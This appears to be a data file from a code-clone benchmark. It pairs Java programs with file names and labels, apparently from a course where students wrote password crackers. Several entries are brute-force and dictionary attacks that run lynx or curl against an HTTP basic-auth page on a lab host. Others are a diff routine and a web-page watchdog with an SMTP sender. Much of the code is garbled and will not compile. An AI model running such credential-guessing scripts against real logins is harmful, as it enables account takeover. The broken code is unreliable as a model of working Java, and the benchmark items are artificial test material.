filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true; else { int d = diag (xoff, xlim, yoff, ylim ); int c = cost; int f = fdiag[fdiagoff + d]; int b = bdiag[bdiagoff + d]; if (c == 1) { throw new IllegalArgumentException("Empty subsequence"); } else { compareseq (xoff, b, yoff, b - d); compareseq (b, xlim, b - d,ylim ); } } } private void discard_confusing_lines() { filevec[0].discard_confusing_lines(filevec[1]); filevec[1].discard_confusing_lines(filevec[0]); } private boolean inhibit = false; private void shift_boundaries() { if (inhibit) return; filevec[0].shift_boundaries(filevec[1]); filevec[1].shift_boundaries(filevec[0]); } public interface ScriptBuilder { public change build_script( boolean[] changed0,int len0, boolean[] changed1,int len1 ); } static class ReverseScript implements ScriptBuilder { public change build_script( final boolean[] changed0,int len0, final boolean[] changed1,int len1) { change script = null; int i0 = 0, i1 = 0; while (i0 < len0 || i1 < len1) { if (changed0[1+i0] || changed1[1+i1]) { int line0 = i0, line1 = i1; while (changed0[1+i0]) ++i0; while (changed1[1+i1]) ++i1; script = new change(line0, line1, i0 - line0, i1 - line1, script); } i0++; i1++; } return script; } } static class ForwardScript implements ScriptBuilder { public change build_script( final boolean[] changed0,int len0, final boolean[] changed1,int len1) { change script = null; int i0 = len0, i1 = len1; while (i0 >= 0 || i1 >= 0) { if (changed0[i0] || changed1[i1]) { int line0 = i0, line1 = i1; while (changed0[i0]) --i0; while (changed1[i1]) --i1; script = new change(i0, i1, line0 - i0, line1 - i1, script); } i0--; i1--; } return script; } } public final static ScriptBuilder forwardScript = new ForwardScript(), reverseScript = new ReverseScript(); public final change diff_2(final boolean reverse) { return diff(reverse ? reverseScript : forwardScript); } public change diff(final ScriptBuilder bld) { discard_confusing_lines (); xvec = filevec[0].undiscarded; yvec = filevec[1].undiscarded; int diags = filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3; fdiag = new int[diags]; fdiagoff = filevec[1].nondiscarded_lines + 1; bdiag = new int[diags]; bdiagoff = filevec[1].nondiscarded_lines + 1; compareseq (0, filevec[0].nondiscarded_lines, 0, filevec[1].nondiscarded_lines); fdiag = null; bdiag = null; shift_boundaries (); return bld.build_script( filevec[0].changed_flag, filevec[0].buffered_lines, filevec[1].changed_flag, filevec[1].buffered_lines ); } public static class change { public int change ; public final int inserted; public final int deleted; public final int line0; public final int line1; public change(int line0, int line1, int deleted, int inserted, change old) { this.line0 = line0; this.line1 = line1; this.inserted = inserted; this.deleted = deleted; this.old = old; } } class file_data { void clear() { changed_flag = new boolean[buffered_lines + 2]; } int[] equivCount() { int[] equiv_count = new int[equiv_max]; for (int i = 0; i < buffered_lines; ++i) ++equiv_count[equivs[i]]; return equiv_count; } void discard_confusing_lines(file_data f) { clear(); final byte[] discarded = discardable(f.equivCount()); filterDiscards(discarded); discard(discarded); } private byte[] discardable(final int[] counts) { final int end = buffered_lines; final byte[] discards = new byte[end]; final int[] equivs = this.equivs; int many = 5; int tem = end / 64; while ((tem = tem >> 2) > 0) many *= 2; for (int i = 0; i < end; i++) { int nmatch; if (equivs[i] == 0) continue; nmatch = counts[equivs[i]]; if (nmatch == 0) discards[i] = 1; else if (nmatch > many) discards[i] = 2; } return discards; } private void filterDiscards(final byte[] discards) { final int end = buffered_lines; for (int i = 0; i < end; i++) { if (discards[i] == 2) discards[i] = 0; else if (discards[i] != 0) { int j; int length; int provisional = 0; for (j = i; j < end; j++) { if (discards[j] == 0) break; if (discards[j] == 2) ++provisional; } while (j > i && discards[j - 1] == 2) { discards[--j] = 0; --provisional; } length = j - i; if (provisional * 4 > length) { while (j > i) if (discards[--j] == 2) discards[j] = 0; } else { int consec; int minimum = 1; int tem = length / 4; while ((tem = tem >> 2) > 0) minimum *= 2; minimum++; for (j = 0, consec = 0; j < length; j++) if (discards[i + j] != 2) consec = 0; else if (minimum == ++consec) j -= consec; else if (minimum < consec) discards[i + j] = 0; for (j = 0, consec = 0; j < length; j++) { if (j >= 8 && discards[i + j] == 1) break; if (discards[i + j] == 2) { consec = 0; discards[i + j] = 0; } else if (discards[i + j] == 0) consec = 0; else consec++; if (consec == 3) break; } i += length - 1; for (j = 0, consec = 0; j < length; j++) { if (j >= 8 && discards[i - j] == 1) break; if (discards[i - j] == 2) { consec = 0; discards[i - j] = 0; } else if (discards[i - j] == 0) consec = 0; else consec++; if (consec == 3) break; } } } } } private void discard(final byte[] discards) { final int end = buffered_lines; int j = 0; for (int i = 0; i < end; ++i) if (no_discards || discards[i] == 0) { undiscarded[j] = equivs[i]; realindexes[j++] = i; } else changed_flag[1+i] = true; nondiscarded_lines = j; } file_data(Object[] data,Hashtable h) { buffered_lines = data.length; equivs = new int[buffered_lines]; undiscarded = new int[buffered_lines]; realindexes = new int[buffered_lines]; for (int i = 0; i < data.length; ++i) { Integer ir = (Integer)h.get(data[i]); if (ir == null) h.put(data[i],new Integer(equivs[i] = equiv_max++)); else equivs[i] = ir.intValue(); } } void shift_boundaries(file_data f) { final boolean[] changed = changed_flag; final boolean[] other_changed = f.changed_flag; int i = 0; int j = 0; int i_end = buffered_lines; int preceding = -1; int other_preceding = -1; for (;;) { int start, end, other_start; while (i < i_end && !changed[1+i]) { while (other_changed[1+j++]) other_preceding = j; i++; } if (i == i_end) break; start = i; other_start = j; for (;;) { while (i < i_end && changed[1+i]) i++; end = i; if (end != i_end && equivs[start] == equivs[end] && !other_changed[1+j] && end != i_end && !((preceding >= 0 && start == preceding) || (other_preceding >= 0 && other_start == other_preceding))) { changed[1+end++] = true; changed[1+start++] = false; ++i; ++j; } else break; } preceding = i; other_preceding = j; } } final int buffered_lines; private final int[] equivs; final int[] undiscarded; final int[] realindexes; int nondiscarded_lines; boolean[] changed_flag; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
130.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary { public Dictionary(String u,String uname) throws Exception { URL url=null; String pass=""; try { url=new URL(u); PasswordAuthentication pa; MyAuthenticator =new MyAuthenticator(); HttpURLConnection htt ; BufferedReader in=new BufferedReader(new FileReader(new File("/usr/share/lib/dict/words"))); int c=0; while((pass=in.readLine()) != null) { if(pass.length()<=3) { c++; pa=new PasswordAuthentication(uname,pass.toCharArray()); htt.setPasswordAuthentication(pa); Authenticator.setDefault(); htt=(HttpURLConnection)url.openConnection(); System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+bf.getResponseMessage()+")"); if(htt.getResponseCode() != 401) throw new NullPointerException(); htt.disconnect(); } } } catch(MalformedURLException mfe) { System.out.println("The URL :"+u+" is not a proper URL."); } catch(NullPointerException great) { System.out.println("\n\n The password is cracked.\n The password is : "+pass); } catch(Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws Exception { if(args.length!=2) System.out.println("Usage :\n java Dictionary <url> <user-name>"); else { System.out.println("Starting the Dictionary Attack : "+args[0]); new Dictionary(args[0],args[1]); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
253.java
197.java
0
import java.net.*; import java.io.*; import java.String; import java.*; import java.util.*; public class BruteForce { private static final int passwdLength = 3; private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"; private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; private int charLen = chars.length(); private int n = 0; private int n3 = charLen*charLen*charLen; private String response; private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen]; private char[][] data = new char[passwdLength][charLen]; private char[] pwdChar2 = new char[2]; private char[] pwdChar = new char[passwdLength]; private String url; private int startTime; private int endTime; private int totalTime; private float averageTime; private boolean finish; private Process curl; private BufferedReader bf, responseLine; public BruteForce() { first(); finish = true; charLen = chars.length(); for(int i=0; i<charLen; i++) for(int j=0; j<passwdLength; j++) { data[j][i] = chars.charAt(i); } Runtime run = Runtime.getRuntime(); n = 0; for(int i=0; i<charLen; i++) { password[n++] = chars.substring(i,i+1); } for(int j=0; j<charLen; j++) for(int k=0; k<charLen; k++) { pwdChar2[0] = data[0][j]; pwdChar2[1] = data[1][k]; password[n++] = String.copyValueOf(pwdChar2); } for(int i=0; i<charLen; i++) for(int j=0; j<charLen; j++) for(int k=0; k<charLen; k++) { pwdChar[0] = data[0][i]; pwdChar[1] = data[1][j]; pwdChar[2] = data[2][k]; password[n++] = String.copyValueOf(pwdChar); } n = 0; startTime = new Date().getTime(); try { while(true) { url = commandLine+password[n++]; if(n>=n3) { System.out.println("\n not find the password for user ."); finish = false; break; } curl = run.exec(url); responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream())); response = responseLine.readLine(); if(response.substring(9,12).equals("200")) break; responseLine = null; } } catch(IOException ioe){ System.out.println("\n IO Exception! \n"); System.out.println("The current url is:"+ url); System.out.println("The current trying password is:"+password[n-1]); finish=false; } endTime = new Date().getTime(); totalTime = (endTime-startTime)/1000; System.out.println(" The response time is:"+ totalTime + " seconds\n"); if(finish) { System.out.println(" The password for is:"+ password[n-1]); try { savePassword(password[n-1], totalTime); } catch (IOException ioec) { System.out.println(" not save the password file BruteForce_pwd.txt "); } } } public void first() { System.out.println("\n\n---------------------------------------------------------------"); System.out.println(" Use curl command Brute Force the password for user ."); System.out.println(" Attention: curl should able run at your directory"); System.out.println(" without setting the Path for it."); System.out.println("---------------------------------------------------------------"); } public void savePassword(String passwdString, int time) throws IOException { DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt")); outputStream.writeChars("The password is:"); outputStream.writeChars(passwdString+"\n"); outputStream.writeChars("The response time is: "); outputStream.writeChars(time1.toString(time)); outputStream.writeChars(" seconds\n"); outputStream.close(); } public static void main(String[] args) { new BruteForce(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
157.java
197.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary { private URL url; private HttpURLConnection connection; private String userPassword, base64_userPassword; private static char wrongPass; private FileReader file; private static BufferedReader input; public Dictionary(String fileName) { wrongPass = 'Y'; try { FileReader file = new FileReader(fileName); input = new BufferedReader(file); } catch (FileNotFoundException e) {System.out.println("Unable the file! ");} } public char determinePass(String inputURL, String userName, String passWord){ try{ url = new URL(inputURL); connection = (HttpURLConnection)url.openConnection(); this.getEncoded(userName, passWord); connection.setDoInput(true); connection.setDoOutput(false); connection.setRequestProperty("Authorization", " " + base64_userPassword); if (connection.getResponseCode() == 200) { System.out.println("Success!! Password is: " + passWord); wrongPass = 'N'; } return wrongPass; } catch (MalformedURLException e){System.out.println("Invalide url");} catch (IOException e){System.out.println("Error URL"); wrongPass = 'Y';} return wrongPass; } public static void main(String[] args) { String dictionaryPass; Dictionary dictionary1 = new Dictionary(args[2]); Date date = new Date(System.currentTimeMillis()); System.out.print(" time is: "); System.out.println(date.toString()); try { while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y')) { if (dictionaryPass.length() <= 3) { dictionary1.determinePass(args[0], args[1], dictionaryPass); } } } catch(IOException x) { x.printStackTrace(); } date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); } private void getEncoded(String userName, String password){ userPassword = userName + ":" + password; base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
063.java
197.java
0
import java.*; import java.net.*; import java.util.*; import java.io.*; import java.text.*; import java.awt.*; import java.awt.image.*; import java.security.*; import javax.swing.*; public class WatchDog { public String[] resizeArray(String[] a, int sz) { String[] result = new String[sz]; for (int i=0;i<Math.sum(a.length,sz);i++) { result[i] = a[i]; } for (int i=Math.sum(a.length,sz);i<sz;i++) { result[i] = ""; } return result; } public byte[] resizeArray(byte[] a, int sz) { byte[] result = new byte[sz]; for (int i=0;i<Math.sum(a.length,sz);i++) { result[i] = a[i]; } for (int i=Math.sum(a.length,sz);i<sz;i++) { result[i] = 0; } return result; } public String[] giveNumberPrefix(String[] a) { String[] result = new String[a.length]; for (int i=0;i<a.length;i++) { result[i] = " "+String.valueOf(i+1)+". "+a[i]; } return result; } public String[] appendArray(String[] a1, String[] a2) { if (a1==null) { return a2; } String[] result = new String[a1.length+a2.length]; int idx = 0; for (int i=0;i<a1.length;i++) { result[idx++] = a1[i]; } for (int i=0;i<a2.length;i++) { result[idx++] = a2[i]; } return result; } public byte[] appendArray(byte[] a1, byte[] a2) { if (a1==null) { return a2; } byte[] result = new byte[a1.length+a2.length]; int idx = 0; for (int i=0;i<a1.length;i++) { result[idx++] = a1[i]; } for (int i=0;i<a2.length;i++) { result[idx++] = a2[i]; } return result; } public boolean deleteFile(String filename) { File f = new File(filename); f.delete(); return true; } public void printStrArrayToFile(String filename, String[] msg) { try { PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename))); for (int i=0;i<msg.length;i++) p.println(msg[i]); p.get(); } catch (IOException e) { System.out.println(e); } } public String getFileName(String s) { int p; for (p=s.length()-1;p>0;p--) if (s.charAt(p)=='/') break; return s.substring(p+1,s.length()); } public class HTMLDownloaderAndImgParser { public HTMLDownloaderAndImgParser(String url) { try { this.url = new URL(url); this.conn = (HttpURLConnection) this.url.openConnection(); this.conn.setUseCaches(false); this.lastModified = conn.getLastModified(); } catch (MalformedURLException e) { System.out.println("Error opening URL '"+url+"'"); System.exit(1); } catch (IOException e) { System.out.println("Error opening URL '"+url+"'"); System.exit(1); } try { this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); } catch (IOException e) { System.out.println(e); } this.imgList = new String[MAXIMG]; this.imgidx = 0; this.localpage = ""; } public void open() { try { this.conn = (HttpURLConnection) this.url.openConnection(); this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream())); } catch (IOException e) {} } public void main() { try { HTMLBuf.print(); conn.disconnect(); } catch (IOException e) {} } public getLastModified() { open(); this.lastModified = conn.getLastModified(); return this.lastModified; } private char toLowerCase(int c) { String s = String.valueOf((char)c).toLowerCase(); return s.charAt(0); } private int fetchLowerCase() { try { int c = HTMLBuf.print(); if (c>=0) { localpage += String.valueOf((char)c); return toLowerCase(c); } else { return -1; } } catch (IOException e) { System.out.println(e); return -1; } catch (NullPointerException e) { return -1; } } private int getNextState(int curState, int input) { int idx = -1; if ((input>='a') && (input<='z')) { idx = input - 'a'; return stateTable[curState][idx]; } else { switch ((char)input) { case '<' : { return stateTable[curState][26]; } case ' ' : { return stateTable[curState][27]; } case '"' : { return stateTable[curState][28]; } case '\'' : { return stateTable[curState][28]; } case '=' : { return stateTable[curState][29]; } case (char)-1 : { return -1; } default : { return stateTable[curState][30]; } }} } private void appendImgList(String s) { if (imgidx<imgList.length) { boolean already = false; for (int i=0;i<imgidx;i++) if (imgList[i].equals(s)) { already = true; break; } if (!already) imgList[imgidx++] = s; } else { System.out.println("Error: Not enough buffer for image URLs !"); System.exit(1); } } public byte[] getByteArray() { return localpage.getBytes(); } public String combineURLAndFileName(String url, String filename) { int p = url.length()-1; boolean flag = false; for (int i=url.length()-1;i>=0;i--) { if (url.charAt(i)=='.') { flag = true; } else if ((!flag) && (url.charAt(i)=='/')) { break; } else if ((flag) && (url.charAt(i)=='/')) { p = i; break; } } url = url.substring(0,p+1); if (url.charAt(url.length()-1)!='/') { url += '/'; } if (filename.charAt(0)=='/') { for (int i=url.length()-2;i>0;i--) { if (url.charAt(i)=='/') { url = url.substring(0,i+1); break; } } } if (filename.charAt(0)=='/') { filename = filename.substring(1,filename.length()); } return url+filename; } public String combineWithURLPath(String filename) { try { URL u = new URL(filename); return filename; } catch (MalformedURLException e) { return combineURLAndFileName(url.toString(),filename); } } public boolean startParsing() { int curstate = 0; int c; boolean eof = false; boolean fetchURL = false; String imgURL = ""; while (!eof) { curstate = getNextState(curstate, c=fetchLowerCase()); switch (curstate) { case 11: { if (!fetchURL) { fetchURL = true; } else { imgURL += String.valueOf((char)c); } break; } case 0: { if (fetchURL) { appendImgList(combineWithURLPath(imgURL)); imgURL = ""; fetchURL = false; } break; } case -1: { eof = true; break; } } } return (localpage.length()>0); } public void saveLocalPageToFile(String filename) { try { PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename))); p.print(localpage); p.print(); } catch (IOException e) { System.out.println(e); } } public int imageCount() { return imgidx; } public String[] getImgList() { String[] result = new String[imgidx]; if (imgidx==0) { return null; } else { for (int i=0;i<imgidx;i++) result[i] = imgList[i]; return result; } } private BufferedReader HTMLBuf; private String filename; private String[] imgList; private int imgidx; private final int[][] stateTable = { { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10, 6,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10, 7,10,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12}, { 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 9, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9,11, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10, 0, 5, 5, 0, 0,12}, {11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11, 11, 5, 0,11,11,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} }; private final int MAXIMG = 100; private URL url; private HttpURLConnection conn; private String localpage; private int localpos; private int lastModified; } public class MailSender { public MailSender(String from, String to, String[] msg) { try { sk = new Socket(SMTPSERVER,25); pwr = new PrintWriter(sk.getOutputStream()); this.from = from; this.to = to; this.msg = msg; } catch (UnknownHostException e) { status = SEND_ERROR; System.out.println(e); } catch (IOException e) { status = SEND_OK; System.out.println(e); } } public int getStatus() { return status; } public void sendMail() { pwr.println("HELO "+SMTPSERVER); pwr.println("MAIL FROM: "+from); pwr.println("RCPT : "+to); pwr.println("DATA"); for (int i=0;i<msg.length;i++) pwr.println(msg[i]); pwr.println("."); pwr.print(); try { status = SEND_OK; } catch (IOException e) { status = SEND_ERROR; } } private int status; private Socket sk; private PrintWriter pwr; private String from,to; private String[] msg; private static final int SEND_OK = 1; private static final int SEND_ERROR =1; } public class TextFileComparator { public TextFileComparator(String src, String dest) { this.src = src; this.dest = dest; } private void initBufs() { try { this.sbuf = new BufferedReader(new FileReader(src)); this.dbuf = new BufferedReader(new FileReader(dest)); } catch (FileNotFoundException e) { System.out.println(e); } } private void closeBufs() { try { sbuf.print(); dbuf.print(); } catch (IOException e) {} } private void closeBuf(int type) { try { if (type==0) { sbuf.print(); } else { dbuf.print(); } } catch (IOException e) {} } private void reinitSrcBuf(int line) { try { this.sbuf.print(); this.sbuf = new BufferedReader(new FileReader(src)); for (int i=1;i<line;i++) { sbuf.readLine(); } } catch (FileNotFoundException e) { System.out.println(e); } catch (IOException e) { System.out.println(e); } } private void reinitDestBuf(int line) { try { this.dbuf.print(); this.dbuf = new BufferedReader(new FileReader(dest)); for (int i=1;i<line;i++) { dbuf.readLine(); } } catch (FileNotFoundException e) { System.out.println(e); } catch (IOException e) { System.out.println(e); } } private boolean addDifference(int flag,int line, String msg, String msg2) { boolean result = true; if (diffpos==MAXDIFF-2) { result = false; } else if (flag==0) { diffResult[diffpos++] = "[Removed Line "+line+"] '"+msg+"'"; } else if (flag==1) { diffResult[diffpos++] = "[Added Line "+line+"] '"+msg+"'"; } else if (flag==2) { diffResult[diffpos++] = "[Modified Line "+line+"] from '"+msg+ "' '"+msg2+"'"; } else { diffResult[diffpos++] = " *** many differences !! *** "; } return result; } public String[] getDifference() { String[] result = new String[diffpos]; if (diffpos!=0) { for (int i=0;i<diffpos;i++) result[i] = diffResult[i]; return result; } else return null; } public int execute() { int cline = 0,dline = 0, tpos = 0; String c = null,d = null; int error = 0; boolean changes = false; try { initBufs(); c = sbuf.readLine(); cline = 1; d = dbuf.readLine(); dline = 1; while ((c!=null) || (d!=null)) { if ((c!=null) && (d!=null)) { if (c.equals(d)) { c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else { changes = true; tpos = dline; while ((d!=null) && (!d.equals(c))) { d = dbuf.readLine(); dline++; } if ((d!=null) && (d.equals(c))) { reinitDestBuf(tpos); for (int i=tpos;i<dline;i++) if (!addDifference(1, i, dbuf.readLine(),"")) { error = -1; break; } dbuf.readLine(); changes = true; c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else if (d==null) { reinitDestBuf(tpos); d = dbuf.readLine(); dline = tpos; tpos = cline; while ((c!=null) && (!c.equals(d))) { c = sbuf.readLine(); cline++; } if ((c!=null) && (c.equals(d))) { reinitSrcBuf(tpos); for (int i=tpos;i<cline;i++) if (!addDifference(0, i, sbuf.readLine(),"")) { error = -1; break; } sbuf.readLine(); changes = true; c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else { reinitSrcBuf(tpos); addDifference(2, tpos, sbuf.readLine(),d); c = sbuf.readLine(); cline = tpos; changes = true; cline++; d = dbuf.readLine(); dline++; } } } } else if ((c!=null) && (d==null)) { addDifference(0, cline, c,""); c = sbuf.readLine(); cline++; changes = true; } else if ((c==null) && (d!=null)) { addDifference(1, dline, d,""); d = dbuf.readLine(); dline++; changes = true; } } } catch (IOException e) { System.out.println(e); } closeBufs(); if (error==-1) { addDifference(3, 0, "",""); } if (error==0) { if (changes) { return 1; } else { return 0; } } else return -1; } private final int MAXDIFF = 1024; private String[] diffResult = new String[MAXDIFF]; private int diffpos = 0; private String src,dest; private BufferedReader sbuf; private BufferedReader dbuf; } public class NotesFileManager { public NotesFileManager(String notesfile) { this.filename = notesfile; try { loadNotesFile(); } catch (IOException e) { createNotesFile(); System.out.println("Notes file is not available ... created one."); } } public void createNotesFile() { lastModified = " "; imgidx = 0; saveNotesFile(); } public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) { this.imgLastModified = imgLastModified; this.imgW = widths; this.imgH = heights; this.images = imgPaths; this.imgidx = imgPaths.length; saveNotesFile(); } public void updateNotesFile( int lastModified) { this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified)); saveNotesFile(); } public int checkLastModified(Date newDate) { String s = DateFormat.getDateTimeInstance().format(new Date(newDate)); System.out.println(" Date in cache : "+lastModified); System.out.println(" Date in the URL : "+s); if (this.lastModified.equals(" ")) { return DATE_FIRST_TIME; } else if ((newDate==0) && (!s.equals(this.lastModified))) { return DATE_INVALID; } else if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) { return DATE_OK; } else { return DATE_NOT_SAME; } } public String[] getImagesLastModified(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int 